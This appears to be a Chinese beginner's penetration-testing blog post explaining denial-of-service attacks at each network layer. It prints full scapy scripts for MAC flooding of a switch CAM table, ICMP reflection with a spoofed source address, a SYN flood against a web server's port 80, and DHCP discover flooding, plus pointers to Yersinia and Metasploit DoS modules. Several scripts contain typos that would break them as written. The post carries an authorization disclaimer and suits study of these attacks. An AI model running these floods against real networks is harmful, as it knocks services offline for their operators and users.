菜鸟渗透日记34---python渗透测试编程之拒绝服务攻击


声明:本文仅用于技术范围的研究和学习,不适合在真实网络环境中在未授权的情况下进行操作,私自使用可能会承担法律责任,本人概不负责。另外在本文中出现的攻击方式,均不提供实际攻击截图,请谅解。

 

目录

拒绝服务攻击

简介

数据链路层的拒绝服务攻击

基础知识

用pyhon实现macof功能

网络层的拒绝服务攻击

基础知识

利用python实现网络层拒绝服务攻击

传输层的拒绝服务攻击

基础知识

使用python实现传输层的拒绝服务攻击

基于应用层的拒绝服务攻击

基础知识

使用python实现基于DHCP的拒绝服务攻击

拒绝服务攻击工具简单介绍

Yersinia

Metasploit

小结


拒绝服务攻击

简介

拒绝服务攻击就是攻击者想办法让目标及其停止提供服务,是hack常用的攻击方式之一。其实对网络带宽进行的消耗性攻击知识拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至主机死机,都属于拒绝服务攻击。拒绝服务攻击得不到合理的解决,根本原因就是因为网络协议本身的安全缺陷。

实际上拒绝服务攻击并不是一个攻击方式,而是一类具有相似特征的攻击方式的集合。这类攻击方式分布极广,hack可能会利用TCP/IP协议层中的数据链路层、网络层、传输层和应用层各种协议发起拒绝服务攻击。下面按照这协议的顺序来介绍一下各种拒绝服务攻击和实现的方法。

数据链路层的拒绝服务攻击

基础知识

在目前的网络架构中,大部分在局域网内的通信的设备都是通过交换机进行。相比较集线器,交换机的优点就是有“记忆”和“学习”的功能,这两个功能通过交换机的CAM表来实现,这张表保存了交换机每个接口所连接计算机的MAC地址信息,这些信息可以通过动态学习来完成。

而在数据链路层发起的拒绝服务攻击并不是攻击二层交换机,让其停止工作,而是让其以一种不正常的方式工作。

比如,在就局域网中,A主机向B主机发送数据时,会将这个数据包发送给交换机,由交换机进行转发,交换机在收到这个数据包时会提取出数据包的目的MAC地址,并查询CAM表,如果能查找到对应的表项,就将数据包从找到的接口发出去。如果没有找到,再将数据包向所有接口发送。在转发数据包的时候,交换机还会进行一个学习的过程,交换机会将接收到的数据包中的源MAC地址提取出来,并查询CAM表,如果表中没有这个源MAC地址对应接口的信息,则会将这个数据包中的源MAC地址与收到这个数据包的接口作为新的表项插入到CAM表中。交换机的学习是一个动态的过程,每个表象都不是固定的,而是有一个定时器(通常为5分钟),从这个表项插入到CAM表开始起,当该定时器递减到零时,该CAM项就会被删除。

这个机制保证采用交换机设备的局域网的数据包都是单播的,但是CAM表的容量时有限的,如果短时间内收到大量不同源MAC地址发来的数据包,CAM表就会被填满。当填满之后,新到的条目就会覆盖之前的条目。这样网络中正常数据包到达交换机之后,而CAM表已经被填满了,无法找到正确的对饮关系,只能将数据包广播出去。这时受到攻击的交换机实际上已经退化成集线器,hack只需要在自己的计算机上将网卡设置为混杂模式,就可以监听整个网络的通信了。

这种攻击的核心为,短时间内伪造大量的数据包发送到交换机,这些数据包中的端MAC地址和目的MAC地址都是随机的,很快就可以将CAM表填满。

KaliLinux2中集成了很多工具,其中macof是一个典型。该工具的使用很简单,在命令行直接输入macof即可。

交换机在遭到攻击后,内部的CAM表很快就会被填满,交换机退化成为集线器,会将收到的数据包全部广播出去。

用pyhon实现macof功能

第一步:构造随即MAC和IP,利用scapy模块中的RandMac()和RandIP()可以很方便地实现这一点

第二步:数据包中包含源IP和MAC地址,那么交换机就会记录。例如ICMP包

packet=Ether(src=RandMac(),dst=RandMAC())/IP(src=RandIp(),dst=RandIp())/ICMP()

模拟macof实现代码如下:

import sys
from scapy.all import *
import time
iface="eth0"
iflen(sys.argv)>=2:
    iface=sys.argv[1]
while 1:
    packet=Ether(src=RandMac(),dst=RandMAC())/IP(src=RandIp(),dst=RandIp())/ICMP()
    time.sleep(0.5)
    sendp(packet,iface=iface,loop=0)

网络层的拒绝服务攻击

基础知识

在TCP/IP四层协议模型中,处于网络层的协议有ARP、IP、ICMP等。其中ICMP主要用来在IP主机、路由器之间传递控制消息。平时检测网络连通情况时使用Ping命令就是基于ICMP的。例如,如果查看本机的数据包是否到达8.8.8.8,就是用ping命令查看即可。

如果发送的数据包收到了应答数据包,这个ping就是ICMP请求(Type=8),收到的回应就是ICMP应答(Type=0),一台主机向一个节点发送一个Type=8的ICMP报文,如果没有异常,目标就会返回,Type=0的ICMP报文,这说明主机存在。

那么我们网络层的拒绝服务攻击就是基于ICMP来进行操作的。

目前Ping攻击,一般使用Ping ip -l 65500 来完成,其中-l是设置ping发送的数据包大小,这种构造的数据包也称之为“死亡之Ping”。目前由于硬件和操作系统完全有能力处理这个数量级的闭包,所以我们主要想办法提高攻击的速度或者数据包的数量使用多台计算机发送ICMP数据包。

除了使用我们本机地址不断向目标发送ICMP包之外,还有两种方法,一是使用随即地址不断向目标发送ICMP包,二是向不同地址不断发送以攻击目标的IP为发送地址的数据包,这种攻击方法,最终淹没目标的供水不是由攻击者发送的,也不是伪造IP发送的,而是正常通信服务器发出的。

利用python实现网络层拒绝服务攻击

除了之前使用RandIP()来构造一个随即IP地址的方法外,还可以使用如下这种方法:

pdst="%i.%i.%i.%i"  % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))

psrc="1.1.1.1"

send(IP(src=psrc,dst=pdst)/ICMP())

完整的攻击代码如下:

import  random
from scapy.all import *

while 1:
    pdst="%i.%i.%i.%i"  % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
    psrc="1.1.1.1"
    send(IP(src=psrc,dst=pdst)/ICMP())

注意这里假设攻击机IP为1.1.1.1

这串代码以1.1.1.1向各个地址发送ICMP请求,这个地址收到请求之后,很快就会向1.1.1.1发回应答。

传输层的拒绝服务攻击

基础知识

TCP/IP协议族的第三层,传输层包含的协议有TCP和UDP,这里基于TCP的拒绝服务攻击就是我们常说的拒绝服务攻击。因为现实中的攻击对象都是那些提供HTTP服务的服务器,为HTTP提供支持的TCP当然就是重灾区。

拒绝服务攻击主要利用TCP的三次握手进行攻击(注,这里不了解三次握手的同学请自行学习。)

基于TCP的攻击方式都是面向连接的。只需要和目标主机的端口建立大量的TCP连接,就可以让目标主机的连接表被填满,从而不会再收到任何新的连接。

一般的攻击方式有两种,一是和目标完成三次握手,建立一个完整的连接;另一种是只和目标端口完成三次握手的前两次,建立的是一个不完整的连接。这种方式更为常见,我们通常称之为SYN泛洪攻击或者SYN拒绝服务攻击。在这种攻击方式中,攻击方会向目标端口发送大量的设置了SYN标志位的TCP数据包,受攻击的服务器会和这些数据包建立连接,并且将连接的信息存储在连接表中,攻击方不断发送SYN数据包,最终会将连接表填满,此时受攻击的服务器就无法接收新来的连接请求了。

使用python实现传输层的拒绝服务攻击

考虑一下思路,首先确定一下攻击的目标,比如,要攻击192.168.65.142上的Web服务器(假设该服务器在80端口上工作),那么就需要产生大量的SYN数据包去连接192.168.65.142主机的80端口。我们仅仅需要建立一个不完整的连接就可以。

完整攻击代码如下:

import sys
from scapy.all import *
iflen(sys.argv)<2:
    print" SynFlood.py + target.py"
    sys.exit(0)
while 1:
    psrc="%i.%i.%i.%i"  % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
    pdst= argv[1]
    send(IP(src,dst=pdst)/TCP(dport=80,flags="S"))

基于应用层的拒绝服务攻击

基础知识

应用层的协议比较多,常见的有HTTP、FTP、DNS、DHCP等,这里用DHCP举例子,DHCP中文称之为动态主机配置协议,主要作用是集中地管理、分配地址,使得网络环境中地主机动态地获得IP地址、Gateway地址、DNS服务器地址等信息,提高地址的使用效率。

DHCP攻击地原理就是攻击目标服务器,怀有大量恶意地用户伪造DHCP请求报文发送到服务器,这样DHCP服务器地址池中IP地址就会很快分配完毕,从而导致合法用户无法申请IP地址。同时大量的DHCP的请求,也会让服务器高负荷运行,从而可能导致设备瘫痪。

使用python实现基于DHCP的拒绝服务攻击

首先应该搜索网络中的DHCP服务器,然后不断发送我们伪造的DHCP请求报文即可。

这个构造代码如下:

dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="1.1.1.1",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[(
"message-type","discover"),"end"])

完整代码如下,模拟攻击机IP为1.1.1.1

from scapy.all import *
dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="1.1.1.1",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[(
"message-type","discover"),"end"])
srp(dhcp_discover)

拒绝服务攻击工具简单介绍

Yersinia

在命令行中输入Yersinia -G 即可图形化启动这款工具,单机Launch attack选择攻击方式,Yersinia提供了很多种常见的网络协议攻击方式,具体攻击步骤此处不再演示。

Metasploit

在命令行中输入msfconsole启动Metasploit,输入search dos查找DOS相关的模块。

具体攻击步骤不再演示。

小结

Python几乎可以完成所有的拒绝服务攻击,Yersinia可以完成对各种网络设备的拒绝服务攻击。在对一个目标测试前,一定要获得许可,并事先做好服务器停止服务的准备。

本篇文章中所有的攻击都是由一台计算机发起的,叫做拒绝服务攻击(DOS)而我们一般常见的DDOS则是分布式拒绝攻击,这种攻击方式借助于客户机/服务器技术,将多个计算机联合起来,对一个或者多个目标发起DDOS攻击,从而成倍提高拒绝服务攻击的威力。

你可能感兴趣的:(python渗透测试编程,kali渗透测试,python)